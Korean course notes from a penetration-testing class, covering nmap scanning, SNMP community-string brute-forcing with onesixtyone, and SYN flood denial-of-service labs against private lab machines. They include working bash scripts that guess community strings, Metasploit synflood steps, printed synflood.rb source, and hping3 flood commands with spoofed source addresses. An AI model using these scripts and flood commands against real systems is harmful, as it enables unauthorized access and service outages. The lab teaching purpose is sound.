    scp file1 192.168.20.50:/tmp
    scp file1 192.168.20.200:/tmp
    ---------------------------------

# cd /root/bin
# vi copy.sh

#!/bin/bash

scp $1 192.168.20.50:$2
scp $1 192.168.20.200:$2


# chmod 755 copy.sh
# ./copy.sh /etc/hosts /tmp
# ./cmd.sh ls -l /tmp/hosts*






프로그램을 작성해 보자.

(프로그램 실행)
# cat nmap_CMD.txt
-------------------------------------
nmap CMD 1(192.168.10.0/24 스캐닝) : nmap -sS -p22 192.168.10.0/24 -v -n -oA 192.168.10.0
nmap CMD 2(192.168.20.0/24 스캐닝) : nmap -sS -p22 192.168.20.0/24 -v -n -oA 192.168.20.0
-------------------------------------

# vi dnmap.sh
--------------------------------------
    프로그램을 작성
--------------------------------------

# ./dnmap.sh
-> nmap_CMD.txt 파일 읽기
-> (clinet 1) nmap CMD 1    /* clinet 1 = KaliLinux(192.168.10.0/24) */
    # ssh 192.168.20.50 "nmap CMD 1"
-> (client 2) nmap CMD 2    /* client 2 = linux200 (192.168.20.0/24) */
    # ssh 192.168.20.200 "nmap CMD 2"
# cd nmap_output
# ls
192.168.10.0_nmap.txt
192.168.20.0_nmap.txt

#






'모의해킹 침해대응 전문가 과정' 카테고리의 다른 글

20166020 코드엔진 아카이브  (0) 2016.06.21
20160620 정보수집단계  (0) 2016.06.20
20160616 정보수집단계  (0) 2016.06.16
20160615 네트워크이론  (0) 2016.06.15
20160614 네트워크이론  (0) 2016.06.15
Posted by 22Hz
, |



SNMP 취약점에 대해서 배워 보자.



[참고] SNMP 취약점에 대한 URL

http://myungin.tistory.com/entry/11-NMSSNMPTFTP-SNMP-%EA%B3%B5%EA%B2%A9-%EA%B8%B0%EB%B2%95
http://semidntmd.tistory.com/entry/%ED%8F%AC%ED%8A%B8%EC%8A%A4%EC%BA%90%EB%8B%9D%EA%B3%BC-SNMP-%ED%94%84%EB%A1%9C%ED%86%A0%EC%BD%9C-%EC%B7%A8%EC%95%BD%EC%A0%90



SNMP RFC 문서(http://www.ietf.org/rfc/rfcNNNN.txt)
- RFC 2578 ~ 2580


■ 사용시스템
- linux200    (SNMP Server)
- kaliLinux   (SNMP Client)


■ 사용하는 툴
- snmpcheck  (information check)
- onesixtyone(brutus-attack)


    (if window) 윈도우 SNMP Server를 사용하는 경우
    c:\> netstat -a | findstr 161
    실행 > services.msc > SNMP 서비스 동작 확인

    (if linux) 리눅스 SNMP Server를 사용하는 경우
    # rpm -qa | grep snmp
    # yum -y install net-snmp net-snmp-libs net-snmp-utils

    # chkconfig --list | grep snmp
    # chkconfig snmpd on
    # service snmpd restart
    # chkconfig snmptrapd on
    # service snmptrapd restart


(KaliLinux)

① 서비스 포트 스캐닝
# nmap -sU -p 161 192.168.20.200

Starting Nmap 6.46 ( http://nmap.org ) at 2015-04-17 13:44 KST
Nmap scan report for 192.168.20.200
Host is up (0.00066s latency).
PORT    STATE SERVICE
161/udp open  snmp
MAC Address: 00:0C:29:E0:2C:6F (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.88 seconds

-> 만약 161번 포트가 closed 되어 있는 경우에는 다음과 같은 작업을 수행한다.
    # yum -y install net-snmp net-snmp-libs net-snmp-utils
    # chkconfig --list | grep snmp
    # chkconfig snmpd on
    # chkconfig snmptrapd on
    # service snmpd restart
    # service snmptrapd restart
② 사전 파일 대입 공격(onesixtyone 툴 사용)
# wireshark &
# onesixtyone
-----------------------------------------------------
onesixtyone 0.3.2 [options] <host> <community>
  -c <communityfile> file with community names to try
  -i <inputfile>     file with target hosts
  -o <outputfile>    output log
  -d                 debug mode, use twice for more information

  -w n               wait n milliseconds (1/1000 of a second) between sending packets (default 10)
  -q                 quiet mode, do not print log to stdout, use with -l
examples: ./s -c dict.txt 192.168.4.1 public
          ./s -c dict.txt -i hosts -o my.log -w 100
-----------------------------------------------------

# cd /usr/share/doc/onesixtyone
# ls

README  changelog.Debian.gz  changelog.gz  copyright  dict.txt


# egrep '(public|private)' dict.txt

private
public


# onesixtyone -c dict.txt 192.168.20.200

Scanning 1 hosts, 49 communities
192.168.20.200 [public] Linux linux200.example.com 2.6.18-348.el5 #1 SMP Tue Jan 8 17:57:28 EST 2013 i686

-> 과정을 wireshark로 분석한다.
-> communication string 을 public으로 사용한다는것을 알수 있다.

    [참고] Community string을 얻어내기 위한 방법
    - Default community string(public, private)
    - Sniffing (community string 평문으로 전달)
    - Dict/BruteForce Attack

③ 시스템의 주요 정보 확인(snmpenum)
# snmp-check -t 192.168.20.200 -c public -p 161

snmpcheck v1.8 - SNMP enumerator
Copyright (c) 2005-2011 by Matteo Cantoni (www.nothink.org)

 [*] Try to connect to 192.168.20.200
 [*] Connected to 192.168.20.200
 [*] Starting enumeration at 2015-04-17 13:53:29

 [*] System information
 -----------------------------------------------------------------------------------------------

 Hostname               : linux200.example.com
 Description            : Linux linux200.example.com 2.6.18-348.el5 #1 SMP Tue Jan 8 17:57:28 EST 2013 i686
 Uptime system          : 2 hours, 28:36.43
 Uptime SNMP daemon     : 9 minutes, 58.91
 Contact                : Root <root@localhost> (configure /etc/snmp/snmp.local.conf)
 Location               : Unknown (edit /etc/snmp/snmpd.conf)
 Motd                   : -

 [*] Network information
 -----------------------------------------------------------------------------------------------

 IP forwarding enabled   : -
 Default TTL             : -
 TCP segments received   : -
 TCP segments sent       : -
 TCP segments retrans.   : -
 Input datagrams         : -
 Delivered datagrams     : -
 Output datagrams        : -

 [*] Enumerated 192.168.20.200 in 0.12 seconds
Signal USR1 received in thread 1, but no signal handler set. at /usr/bin/snmpcheck line 230.



SNMP 관련 명령어를 배워보자.

(linux200)

    ■ snmp 관련 명령어 사용법
    # snmpwalk -v1 -c public localhost .1
    # snmpwalk -v1 -c public localhost system
    # snmptranslate -Tl
    # snmptranslate -Tp

    # snmptranslate -Tl > /test/mibtree.txt
    # cat /test/mibtree.txt | egrep '(Swap|mem)'

    # snmpwalk -v1 -c public localhost .1.3.6.1.4.1.2021.4.4
    # snmpwalk -v1 -c public localhost .1.3.6.1.4.1.2021.4.6

# snmpwalk -v1 -c public localhost .1

iso.3.6.1.2.1.1.1.0 = STRING: "Linux linux249.example.com 2.6.18-348.el5 #1 SMP Tue Jan 8 17:57:28 EST 2013 i686"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (154881) 0:25:48.81
iso.3.6.1.2.1.1.4.0 = STRING: "Root <root@localhost> (configure /etc/snmp/snmp.local.conf)"
iso.3.6.1.2.1.1.5.0 = STRING: "linux249.example.com"
iso.3.6.1.2.1.1.6.0 = STRING: "Unknown (edit /etc/snmp/snmpd.conf)"
iso.3.6.1.2.1.1.8.0 = Timeticks: (2) 0:00:00.02
iso.3.6.1.2.1.1.9.1.2.1 = OID: iso.3.6.1.6.3.1
iso.3.6.1.2.1.1.9.1.2.2 = OID: iso.3.6.1.2.1.49
iso.3.6.1.2.1.1.9.1.2.3 = OID: iso.3.6.1.2.1.4
iso.3.6.1.2.1.1.9.1.2.4 = OID: iso.3.6.1.2.1.50
iso.3.6.1.2.1.1.9.1.2.5 = OID: iso.3.6.1.6.3.16.2.2.1
iso.3.6.1.2.1.1.9.1.2.6 = OID: iso.3.6.1.6.3.10.3.1.1
iso.3.6.1.2.1.1.9.1.2.7 = OID: iso.3.6.1.6.3.11.3.1.1
iso.3.6.1.2.1.1.9.1.2.8 = OID: iso.3.6.1.6.3.15.2.1.1
iso.3.6.1.2.1.1.9.1.3.1 = STRING: "The MIB module for SNMPv2 entities"
iso.3.6.1.2.1.1.9.1.3.2 = STRING: "The MIB module for managing TCP implementations"
iso.3.6.1.2.1.1.9.1.3.3 = STRING: "The MIB module for managing IP and ICMP implementations"
iso.3.6.1.2.1.1.9.1.3.4 = STRING: "The MIB module for managing UDP implementations"
iso.3.6.1.2.1.1.9.1.3.5 = STRING: "View-based Access Control Model for SNMP."
iso.3.6.1.2.1.1.9.1.3.6 = STRING: "The SNMP Management Architecture MIB."
iso.3.6.1.2.1.1.9.1.3.7 = STRING: "The MIB for Message Processing and Dispatching."
iso.3.6.1.2.1.1.9.1.3.8 = STRING: "The management information definitions for the SNMP User-based Security Model."
iso.3.6.1.2.1.1.9.1.4.1 = Timeticks: (2) 0:00:00.02
iso.3.6.1.2.1.1.9.1.4.2 = Timeticks: (2) 0:00:00.02
iso.3.6.1.2.1.1.9.1.4.3 = Timeticks: (2) 0:00:00.02
iso.3.6.1.2.1.1.9.1.4.4 = Timeticks: (2) 0:00:00.02
iso.3.6.1.2.1.1.9.1.4.5 = Timeticks: (2) 0:00:00.02
iso.3.6.1.2.1.1.9.1.4.6 = Timeticks: (2) 0:00:00.02
iso.3.6.1.2.1.1.9.1.4.7 = Timeticks: (2) 0:00:00.02
iso.3.6.1.2.1.1.9.1.4.8 = Timeticks: (2) 0:00:00.02
iso.3.6.1.2.1.25.1.1.0 = Timeticks: (1667931) 4:37:59.31
End of MIB


# snmptranslate -Tl

..... (중략) .....
.iso(1).org(3).dod(6).internet(1).snmpV2(6).snmpModules(3).snmpCommunityMIB(18).snmpCommunityMIBConformance(2)
.iso(1).org(3).dod(6).internet(1).snmpV2(6).snmpModules(3).snmpCommunityMIB(18).snmpCommunityMIBConformance(2).snmpCommunityMIBCompliances(1)
.iso(1).org(3).dod(6).internet(1).snmpV2(6).snmpModules(3).snmpCommunityMIB(18).snmpCommunityMIBConformance(2).snmpCommunityMIBCompliances(1).snmpCommunityMIBCompliance(1)
.iso(1).org(3).dod(6).internet(1).snmpV2(6).snmpModules(3).snmpCommunityMIB(18).snmpCommunityMIBConformance(2).snmpCommunityMIBCompliances(1).snmpProxyTrapForwardCompliance(2)
.iso(1).org(3).dod(6).internet(1).snmpV2(6).snmpModules(3).snmpCommunityMIB(18).snmpCommunityMIBConformance(2).snmpCommunityMIBGroups(2)
.iso(1).org(3).dod(6).internet(1).snmpV2(6).snmpModules(3).snmpCommunityMIB(18).snmpCommunityMIBConformance(2).snmpCommunityMIBGroups(2).snmpCommunityGroup(1)
.iso(1).org(3).dod(6).internet(1).snmpV2(6).snmpModules(3).snmpCommunityMIB(18).snmpCommunityMIBConformance(2).snmpCommunityMIBGroups(2).snmpProxyTrapForwardGroup(3)
.iso(1).org(3).dod(6).internet(1).snmpV2(6).snmpModules(3).snmpv2tm(19)
.ccitt(0).zeroDotZero(0)


# snmptranslate -Tp

+--iso(1)
   |
   +--org(3)
      |
      +--dod(6)
         |
         +--internet(1)
            |
            +--directory(1)
            |
            +--mgmt(2)
            |  |
            |  +--mib-2(1)
            |     |
            |     +--system(1)
            |     |  |
            |     |  +-- -R-- String    sysDescr(1)
            |     |  |        Textual Convention: DisplayString
            |     |  |        Size: 0..255
            |     |  +-- -R-- ObjID     sysObjectID(2)
            |     |  +-- -R-- TimeTicks sysUpTime(3)
            |     |  |  |
            |     |  |  +--sysUpTimeInstance(0)
            |     |  |
..... (중략) .....


# mkdir -p /test && cd /test
# snmptranslate -Tl > /test/mibtree.txt
# cat /test/mibtree.txt | egrep '(Swap|mem)'

.iso(1).org(3).dod(6).internet(1).private(4).enterprises(1).ucdavis(2021).memory(4)
.iso(1).org(3).dod(6).internet(1).private(4).enterprises(1).ucdavis(2021).memory(4).memIndex(1)
.iso(1).org(3).dod(6).internet(1).private(4).enterprises(1).ucdavis(2021).memory(4).memErrorName(2)
.iso(1).org(3).dod(6).internet(1).private(4).enterprises(1).ucdavis(2021).memory(4).memTotalSwap(3)
.iso(1).org(3).dod(6).internet(1).private(4).enterprises(1).ucdavis(2021).memory(4).memAvailSwap(4)
.iso(1).org(3).dod(6).internet(1).private(4).enterprises(1).ucdavis(2021).memory(4).memTotalReal(5)
.iso(1).org(3).dod(6).internet(1).private(4).enterprises(1).ucdavis(2021).memory(4).memAvailReal(6)
.iso(1).org(3).dod(6).internet(1).private(4).enterprises(1).ucdavis(2021).memory(4).memTotalSwapTXT(7)
.iso(1).org(3).dod(6).internet(1).private(4).enterprises(1).ucdavis(2021).memory(4).memAvailSwapTXT(8)
.iso(1).org(3).dod(6).internet(1).private(4).enterprises(1).ucdavis(2021).memory(4).memTotalRealTXT(9)
.iso(1).org(3).dod(6).internet(1).private(4).enterprises(1).ucdavis(2021).memory(4).memAvailRealTXT(10)
.iso(1).org(3).dod(6).internet(1).private(4).enterprises(1).ucdavis(2021).memory(4).memTotalFree(11)
.iso(1).org(3).dod(6).internet(1).private(4).enterprises(1).ucdavis(2021).memory(4).memMinimumSwap(12)
.iso(1).org(3).dod(6).internet(1).private(4).enterprises(1).ucdavis(2021).memory(4).memShared(13)
.iso(1).org(3).dod(6).internet(1).private(4).enterprises(1).ucdavis(2021).memory(4).memBuffer(14)
.iso(1).org(3).dod(6).internet(1).private(4).enterprises(1).ucdavis(2021).memory(4).memCached(15)
.iso(1).org(3).dod(6).internet(1).private(4).enterprises(1).ucdavis(2021).memory(4).memSwapError(100)
.iso(1).org(3).dod(6).internet(1).private(4).enterprises(1).ucdavis(2021).memory(4).memSwapErrorMsg(101)
.iso(1).org(3).dod(6).internet(1).private(4).enterprises(1).ucdavis(2021).systemStats(11).ssSwapIn(3)
.iso(1).org(3).dod(6).internet(1).private(4).enterprises(1).ucdavis(2021).systemStats(11).ssSwapOut(4)
.iso(1).org(3).dod(6).internet(1).private(4).enterprises(1).ucdavis(2021).systemStats(11).ssRawSwapIn(62)
.iso(1).org(3).dod(6).internet(1).private(4).enterprises(1).ucdavis(2021).systemStats(11).ssRawSwapOut(63)



(간단한 테스트)
           
.iso(1).org(3).dod(6).internet(1).private(4).enterprises(1).ucdavis(2021).memory(4).memTotalReal(5)

# snmpwalk -v 1 -c public localhost .1.3.6.1.4.1.2021.4.5
(정상적인 화면)

    UCD-SNMP-MIB::memTotalReal.0 = INTEGER: 1034504


(정상이 아닌 화면)

    End of MIB



(linux200)

# cd /etc/snmp
# ls

snmpd.conf


# cp snmpd.conf snmpd.orig
# vi snmpd.conf

:set nu
:38,62s/^/#-->/       (:38,62s/^#-->//)

110 # First, map the community name "public" into a "security name"
111 #       sec.name        source          community
112 com2sec notConfigUser   default         public
113 
114 # Second, map the security name into a group name:
115 #       groupName       securityModel   securityName
116 group   notConfigGroup  v1              notConfigUser
117 group   notConfigGroup  v2c             notConfigUser
118 
119 # Third, create a view for us to let the group have rights to:
120 # Open up the whole tree for ro, make the RFC 1213 required ones rw.
121 #       name            incl/excl       subtree mask(optional)
122 view    roview          included        .1
123 view    rwview          included        system.sysContact
124 view    rwview          included        system.sysName
125 view    rwview          included        system.sysLocation
126 view    rwview          included        interfaces.ifTable.ifEntry.ifAdminStatus
127 view    rwview          included        at.atTable.atEntry.atPhysAddress
128 view    rwview          included        at.atTable.atEntry.atNetAddress
129 view    rwview          included        ip.ipForwarding
130 view    rwview          included        ip.ipDefaultTTL
131 view    rwview          included        ip.ipRouteTable.ipRouteEntry.ipRouteDest
132 view    rwview          included        ip.ipRouteTable.ipRouteEntry.ipRouteIfIndex
133 view    rwview          included        ip.ipRouteTable.ipRouteEntry.ipRouteMetric1
134 view    rwview          included        ip.ipRouteTable.ipRouteEntry.ipRouteMetric2
135 view    rwview          included        ip.ipRouteTable.ipRouteEntry.ipRouteMetric3
136 view    rwview          included        ip.ipRouteTable.ipRouteEntry.ipRouteMetric4
137 view    rwview          included        ip.ipRouteTable.ipRouteEntry.ipRouteType
138 view    rwview          included        ip.ipRouteTable.ipRouteEntry.ipRouteAge
139 view    rwview          included        ip.ipRouteTable.ipRouteEntry.ipRouteMask
140 view    rwview          included        ip.ipRouteTable.ipRouteEntry.ipRouteMetric5
141 view    rwview          included        ip.ipNetToMediaTable.ipNetToMediaEntry.ipNetToMediaIfIndex
142 view    rwview          included        ip.ipNetToMediaTable.ipNetToMediaEntry.ipNetToMediaPhysAddress
143 view    rwview          included        ip.ipNetToMediaTable.ipNetToMediaEntry.ipNetToMediaNetAddress
144 view    rwview          included        ip.ipNetToMediaTable.ipNetToMediaEntry.ipNetToMediaType
145 view    rwview          included        tcp.tcpConnTable.tcpConnEntry.tcpConnState
146 view    rwview          included        egp.egpNeighTable.egpNeighEntry.egpNeighEventTrigger
147 view    rwview          included        snmp.snmpEnableAuthenTraps
148 
149 # Finally, grant the group read-only access to the systemview view.
150 #       group          context sec.model sec.level prefix read   write  notif
151 access  notConfigGroup ""      any       noauth    exact  roview rwview none
..... (중략) .....


# service snmpd restart

Stopping snmpd:                                            [  OK  ]
Starting snmpd:                                            [  OK  ]


# cat /test/mibtree.txt | egrep '(Swap|memory)'

.iso(1).org(3).dod(6).internet(1).private(4).enterprises(1).ucdavis(2021).memory(4)
.iso(1).org(3).dod(6).internet(1).private(4).enterprises(1).ucdavis(2021).memory(4).memIndex(1)
.iso(1).org(3).dod(6).internet(1).private(4).enterprises(1).ucdavis(2021).memory(4).memErrorName(2)
.iso(1).org(3).dod(6).internet(1).private(4).enterprises(1).ucdavis(2021).memory(4).memTotalSwap(3)
.iso(1).org(3).dod(6).internet(1).private(4).enterprises(1).ucdavis(2021).memory(4).memAvailSwap(4)
.iso(1).org(3).dod(6).internet(1).private(4).enterprises(1).ucdavis(2021).memory(4).memTotalReal(5)
.iso(1).org(3).dod(6).internet(1).private(4).enterprises(1).ucdavis(2021).memory(4).memAvailReal(6)
.iso(1).org(3).dod(6).internet(1).private(4).enterprises(1).ucdavis(2021).memory(4).memTotalSwapTXT(7)
.iso(1).org(3).dod(6).internet(1).private(4).enterprises(1).ucdavis(2021).memory(4).memAvailSwapTXT(8)
.iso(1).org(3).dod(6).internet(1).private(4).enterprises(1).ucdavis(2021).memory(4).memTotalRealTXT(9)
.iso(1).org(3).dod(6).internet(1).private(4).enterprises(1).ucdavis(2021).memory(4).memAvailRealTXT(10)
.iso(1).org(3).dod(6).internet(1).private(4).enterprises(1).ucdavis(2021).memory(4).memTotalFree(11)
.iso(1).org(3).dod(6).internet(1).private(4).enterprises(1).ucdavis(2021).memory(4).memMinimumSwap(12)
.iso(1).org(3).dod(6).internet(1).private(4).enterprises(1).ucdavis(2021).memory(4).memShared(13)
.iso(1).org(3).dod(6).internet(1).private(4).enterprises(1).ucdavis(2021).memory(4).memBuffer(14)
.iso(1).org(3).dod(6).internet(1).private(4).enterprises(1).ucdavis(2021).memory(4).memCached(15)
.iso(1).org(3).dod(6).internet(1).private(4).enterprises(1).ucdavis(2021).memory(4).memSwapError(100)
.iso(1).org(3).dod(6).internet(1).private(4).enterprises(1).ucdavis(2021).memory(4).memSwapErrorMsg(101)
.iso(1).org(3).dod(6).internet(1).private(4).enterprises(1).ucdavis(2021).systemStats(11).ssSwapIn(3)
.iso(1).org(3).dod(6).internet(1).private(4).enterprises(1).ucdavis(2021).systemStats(11).ssSwapOut(4)
.iso(1).org(3).dod(6).internet(1).private(4).enterprises(1).ucdavis(2021).systemStats(11).ssRawSwapIn(62)
.iso(1).org(3).dod(6).internet(1).private(4).enterprises(1).ucdavis(2021).systemStats(11).ssRawSwapOut(63)


.iso(1).org(3).dod(6).internet(1).private(4).enterprises(1).ucdavis(2021).memory(4).memTotalReal(5)
.iso(1).org(3).dod(6).internet(1).private(4).enterprises(1).ucdavis(2021).memory(4).memAvailReal(6)

# snmpwalk -v1 -c public localhost .1.3.6.1.4.1.2021.4.5

UCD-SNMP-MIB::memTotalReal.0 = INTEGER: 1034504


# snmpwalk -v1 -c public localhost .1.3.6.1.4.1.2021.4.6

UCD-SNMP-MIB::memAvailReal.0 = INTEGER: 598588


    (Kali Linux)
    # snmpwalk -v2c -c public 192.168.20.200 .1
    # snmp-check -t 192.168.20.200 -c public

# cat /test/mibtree.txt | egrep ipForwarding
.iso(1).org(3).dod(6).internet(1).mgmt(2).mib-2(1).ip(4).ipForwarding(1)
.iso(1).org(3).dod(6).internet(1).mgmt(2).mib-2(1).ip(4).ipv6IpForwarding(25)

# snmpwalk -v2c -c public localhost .1.3.6.1.2.1.4.1
IP-MIB::ipForwarding.0 = INTEGER: notForwarding(2)


   
---------------------------------------------------------------------

    # snmpset [COMMON OPTIONS] OID TYPE VALUE [OID TYPE VALUE]...

# snmpwalk -v2c -c public localhost .1.3.6.1.2.1.1.4
SNMPv2-MIB::sysContact.0 = STRING: Root <root@localhost> (configure /etc/snmp/snmp.local.conf)

# snmpset -v2c -c public localhost .1.3.6.1.2.1.1.4 s "test string"
------------------------------------------
Error in packet.
Reason: notWritable (That object does not support modification)
Failed object: SNMPv2-MIB::sysContact
------------------------------------------

.iso(1).org(3).dod(6).internet(1).mgmt(2).mib-2(1).system(1).sysName(5)
# snmpwalk -v2c -c public localhost .1.3.6.1.2.1.1.5
SNMPv2-MIB::sysName.0 = STRING: linux249.example.com

# snmpset -v2c -c public localhost .1.3.6.1.2.1.1.5 s test.example.com
Error in packet.
Reason: notWritable (That object does not support modification)
Failed object: SNMPv2-MIB::sysName

-> write 가능한 entry 확인



[실습] 추가적인 실습

● dictionary attack을 통해 SNMP 서버의 communication name(Community string) 확인하는 툴을 제작해 보자.

    (linux200)
    # snmpwalk -v2c -c public localhost .1.3.6.1.2.1.4.1
    IP-MIB::ipForwarding.0 = INTEGER: notForwarding(2)
    #  echo $?
    0
    # snmpwalk -v2c -c private localhost .1.3.6.1.2.1.4.1
    Timeout: No Response from localhost
    #  echo $?
    1

(KaliLinux)
# cd /root/bin
# vi dict.txt
--------------------------------
private
.....
public
--------------------------------

# vi onesixtyone.sh
--------------------------------
    프로그램을 작성한다.
--------------------------------

# ./onesixtyone.sh 192.168.20.200 dict.txt
-------------------------------------------------------
192.168.20.200's communication name : public
-------------------------------------------------------




####################################################################################
내꺼
####################################################################################
root@kali:~/bin# cat onesixtyone.sh
#!/bin/bash

T_IP=$1
F_DIC=$2
C_NAME=`onesixtyone -c $F_DIC $T_IP | grep $T_IP | awk '{print $2}' | sed 's/^.//' | sed 's/.$//'`

if [ $# -ne 2 ] ;
then
    echo "Usage   : $0 <Target IP> <Community File>"
    echo "Example : $0 192.168.20.200 dict.txt"
    exit 1
elif [ -z $C_NAME ] ;
then
    echo "-------------------------------------------------------"
    echo "$T_IP's communication name is not found"
    echo "-------------------------------------------------------"
    exit 2
else
    echo "-------------------------------------------------------"
    echo "$T_IP's communication name : $C_NAME"
    echo "-------------------------------------------------------"
fi
####################################################################################


####################################################################################
출력
####################################################################################
root@kali:~/bin# vi onesixtyone.sh
root@kali:~/bin# ./onesixtyone.sh 192.168.20.200 dict.txt
-------------------------------------------------------
192.168.20.200's communication name : public
-------------------------------------------------------
root@kali:~/bin# ./onesixtyone.sh 192.168.20.201 dict.txt
-------------------------------------------------------
192.168.20.201's communication name is not found
-------------------------------------------------------
root@kali:~/bin# ./onesixtyone.sh 123
Usage   : ./onesixtyone.sh <Target IP> <Community File>
Example : ./onesixtyone.sh 192.168.20.200 dict.txt
####################################################################################



####################################################################################
강사님
####################################################################################
root@kali:~/bin# cat onesixtyone.sh
#!/bin/bash

if [ $# -ne 2 ] ;
then
    echo "Usage   : $0 <Target IP> <Community File>"
    echo "Example : $0 192.168.20.200 dict.txt"   
    exit 1
fi

IP=$1
OUT=
cat $2 | while read OUT

do
    snmpwalk -v2c -c $OUT $IP .1.3.6.1.2.1.4.1 > /dev/null 2>&1
    if [ $? -eq 0 ] ;
    then
        echo "-------------------------------------------------------"
        echo "$IP's communication name : $OUT"
        echo "-------------------------------------------------------"
        exit 2
    fi
done
####################################################################################




** DHCP 취약점(DHCP Spoofing) -> 과제(EX: ettercap Tools)








TCP Syn Flooding 공격


■ 사용시스템
- KaliLinux(Attacker)
- linux200(Web Server)
- windows2008(Web Client)


■ TCP Syn Flooding 공격의 동작 원리

Flooding 용어?
- Flooding Attack: ICMP flooding, UDP flooding, TCP flooding, HTTP flooding, ....

          Attacker          Victim
        |        |
        |        |
        |        |
        |        |
        |        |
        |        |
        |        |
        |        |
        |        |
        |        |



1. 공격시나리오1(웹서버 공격하기)

(linux200)
① linux200 서버에서 웹서버 구축
웹서버를 기동한다.
# pgrep -lf httpd
# service httpd restart
# chkconfig httpd on

웹페이지를 구성한다.
# cd /var/www/html
# mkdir -p test
# echo 'Syn Flooding Test Page' > /var/www/html/test/index.html
# firefox http://192.168.20.200/test
-> 확인 후 firefox 종료


(win2008)
② windows 2008 서버에서 웹페이지로 웹서버 페이지 확인
웹서버에 접속한다.
http://192.168.20.200
http://192.168.20.200/test





(KaliLinux)
③ 패킷 분석을 위한 wireshark 실행
# wireshark &

④ msfconsole 실행을 위한 postgresql 실행

    [참고] postgresql 기동 중인지 확인하는 방법
    # service postgresql status
    # netstat -antp | grep :5432
    # nmap -p 5432 -sV localhost
    # msfconsole
    msf > db_status

# netstat -antp | grep :5432    (# nmap localhost)
-> postgresql 서비스 동작 중인지 점검

    [참고] 서비스 기동 방법 비교
    (redhat 계열) (부팅) # chkconfig postgresql on
             (현재) # service postgresql start
    (debian 계열) (부팅) # update-rc.d postgresql enable
             (현재) # service postgresql start

# service postgresql start

⑤ msfconsole 실행
# msfconsole         /* 약간 시간이 걸린다(10초 정도) */

msf > show -h        (msf > help show)

[*] Valid parameters for the "show" command are: all, encoders, nops, exploits, payloads, auxiliary, plugins, options
[*] Additional module-specific parameters are: advanced, evasion, targets, actions


msf > show auxiliary

Auxiliary
=========

   Name                                                           Disclosure Date  Rank    Description
   ----                                                           ---------------  ----    -----------
   admin/2wire/xslt_password_reset                                2007-08-15       normal  2Wire Cross-Site Request Forgery Password Reset Vulnerability
   admin/backupexec/dump                                                           normal  Veritas Backup Exec Windows Remote File Access
   admin/backupexec/registry                                                       normal  Veritas Backup Exec Server Registry Access
   admin/cisco/cisco_secure_acs_bypass                                             normal
..... (중략) ....


msf > use auxiliary/dos/tcp/synflood
msf auxiliary(synflood) > show options

Module options (auxiliary/dos/tcp/synflood):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   INTERFACE                   no        The name of the interface
   NUM                         no        Number of SYNs to send (else unlimited)
   RHOST                       yes       The target address
   RPORT      80               yes       The target port
   SHOST                       no        The spoofable source address (else randomizes)
   SNAPLEN    65535            yes       The number of bytes to capture
   SPORT                       no        The source port (else randomizes)
   TIMEOUT    500              yes       The number of seconds to wait for new data


msf auxiliary(synflood) > set RHOST 192.168.20.200

RHOST => 192.168.20.200





msf auxiliary(synflood) > show options

Module options (auxiliary/dos/tcp/synflood):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   INTERFACE                   no        The name of the interface
   NUM                         no        Number of SYNs to send (else unlimited)
   RHOST      192.168.20.200   yes       The target address
   RPORT      80               yes       The target port
   SHOST                       no        The spoofable source address (else randomizes)
   SNAPLEN    65535            yes       The number of bytes to capture
   SPORT                       no        The source port (else randomizes)
   TIMEOUT    500              yes       The number of seconds to wait for new data

          
msf auxiliary(synflood) > exploit
[*] SYN flooding 192.168.20.200:80...


⑥ wireshark 사용하여 패킷 분석

wireshark 화면을 보면서 확인한다.(잠시기다린다.)

⑦ 웹클라이언트(windows 2008)에서 웹서버(linux200) 접속한 페이지 확인

전에는 웹접속이 되었는데
접속이 되지 않는다.
Syn Flooding 공격 성공

    !!! Syn Flooding 작업이 성공되지 않았다면 이유가 무엇인가? !!!
    페이지캐싱, 요청하는페이지양이 작아서, 요청신호가 적어서

⑧ Syn flooding 공격 중지
(KaliLinux)

msf auxiliary(synflood) > exploit

[*] SYN flooding 192.168.20.200:80...
^C[-] Auxiliary interrupted by the console user   <---- <CTRL + C>
[*] Auxiliary module execution completed


[참고] hping3 명령어 사용
# hping3 -c 2 -S 192.168.20.200
# hping3 -c 2 --flood -a 192.168.20.205 -S 192.168.20.200




2. 공격시나리오2(라우터공격하기)

- 라우터에는 관리용 페이지가 존재한다.
- 집에서는 공유기 페이지를 가지고 테스트 하면 된다.



3. synflood.rb 파일 분석

(KaliLinux)

    "msf > use auxiliary/dos/tcp/synflood"
    "/usr/share/metasploit-framework/modules/auxiliary/dos/tcp/synflood.rb"

# cd /usr/share/metasploit-framework/
# ls

Gemfile        data        msfcli      msfencode    msfrop     msfvenom  vendor
Gemfile.lock   lib         msfconsole  msfmachscan  msfrpc     plugins
Rakefile       modules     msfd        msfpayload   msfrpcd    scripts
build_rev.txt  msfbinscan  msfelfscan  msfpescan    msfupdate  tools


# cd modules/auxiliary/dos/tcp
# ls

junos_tcp_opt.rb  synflood.rb


# vi synflood.rb

..... (중략) .....
  def run
    open_pcap

    sent = 0
    num = datastore['NUM']

    print_status("SYN flooding #{rhost}:#{rport}...")

    p = PacketFu::TCPPacket.new
    p.ip_saddr = srchost
    p.ip_daddr = rhost
    p.tcp_dport = rport
    p.tcp_flags.syn = 1

    while (num <= 0) or (sent < num)
      p.ip_ttl = rand(128)+128
      p.tcp_win = rand(4096)+1
      p.tcp_sport = sport
      p.tcp_seq = rand(0x100000000)
      p.recalc
      capture_sendto(p,rhost)
      sent += 1
    end

    close_pcap
  end
end








3. 공격시나리오3

● hping3 명령어를 사용하여 Syn Flooding Attack 수행한다.
● 만약 타켓(공격당하는 시스템)이 윈도우라면 윈도우 TCPview 같은 프로그램을 통해 확인 또는 netstat 명령어를 통해 확인
● wireshark 통해 분석한다.(출발지 IP(spoofed ip)를 확인해야 한다.)
● netstat 명령어를 통해 확인한다.

    # hping3 --syn -a 10.10.10.10 -i u1000 -p 80 192.168.20.200
    (keypoint) -a => Fake source ip address (spoofed source ip)

      -S  --syn        set SYN flag
      -a  --spoof      spoof source address
      -i  --interval  wait (uX for X microseconds, for example -i u1000)
      -p  --destport   [+][+]<port> destination port(default 0) ctrl+z inc/dec


참고 URL
- http://www.youtube.com/watch?v=aJ9syL4S7yE








C:\Users\soldeskN\Desktop\JS\Security과정공유디렉토리(part1)\04_과정진행\04_정규과정\02_정보수집단계\01_정보수집.hwp




정보 수집(Data Gathering)






